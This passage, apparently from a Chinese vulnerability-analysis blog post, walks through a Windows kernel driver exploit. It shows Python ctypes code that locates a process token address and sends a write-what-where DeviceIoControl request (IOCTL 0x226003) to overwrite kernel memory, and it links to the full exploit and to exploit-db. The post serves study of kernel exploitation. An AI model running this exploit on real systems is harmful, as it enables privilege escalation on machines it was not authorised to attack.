byref(return_length) ) token = get_token_by(pid, handle_info, _filter=p_handle) if token is None: print('[-] Error fetching token address') sys.exit(1) print('[+] Found token at {:08x}'.format(token)) return token ``` 然后通过write使用设备IO控制向指定内存地址写入数据: ```php def write(where): global device_handle bytes_returned = c_ulong() ioctl_arbitrary_overwrite = 0x226003 user_data = c_buffer(32) user_data_p = addressof(user_data) + 32 write_what_where = WriteWhatWhere() # Must be eight or we won't reach the vulnerable function write_what_where.Header = 0x8 # Pointer to userland buffer write_what_where.Trigger = user_data_p # Pointer to overwrite with 0xfffffffe write_what_where.Where = where www = binascii.hexlify(bytes(bytearray(write_what_where))) print("[+] Write what where structure") print(" [>] Full structure: {}".format(b' '.join([www[i:i + 16] for i in range(0, 48, 16)]))) print(" [>] What : 0xfffffffe") print(" [>] Where: {:08x}".format(write_what_where.Where)) success = kernel32.DeviceIoControl( device_handle, ioctl_arbitrary_overwrite, byref(write_what_where), sizeof(write_what_where), 0, 0, byref(bytes_returned), None ) if not success: print(" [-] Unable To Send DeviceIoControl") return ``` 完整代码参考:<https://gist.github.com/klezVirus/e69c1e745a789e4b5d2b3c7ed02da765> 参考链接 ---- <https://www.exploit-db.com/exploits/43929> <https://www.sysfiledown.com/> <https://d1nn3r.github.io/2019/02/23/windbgConnectVM/> [https://xz.aliyun.com/t/7282?time\_\_1311=n4%2BxnD0GDtGQi%3DNqx05%2BbDyi8DkIOKKDgjnoD&alichlgref=https%3A%2F%2Fwww.google.com%2F](https://xz.aliyun.com/t/7282?time__1311=n4%2BxnD0GDtGQi%3DNqx05%2BbDyi8DkIOKKDgjnoD&alichlgref=https%3A%2F%2Fwww.google.com%2F) [https://github.com/10cks/OSR\_DeviceTree\_Vuln](https://github.com/10cks/OSR_DeviceTree_Vuln)
发表于 2024-06-03 09:00:02
阅读 ( 29669 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
10cks
12 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!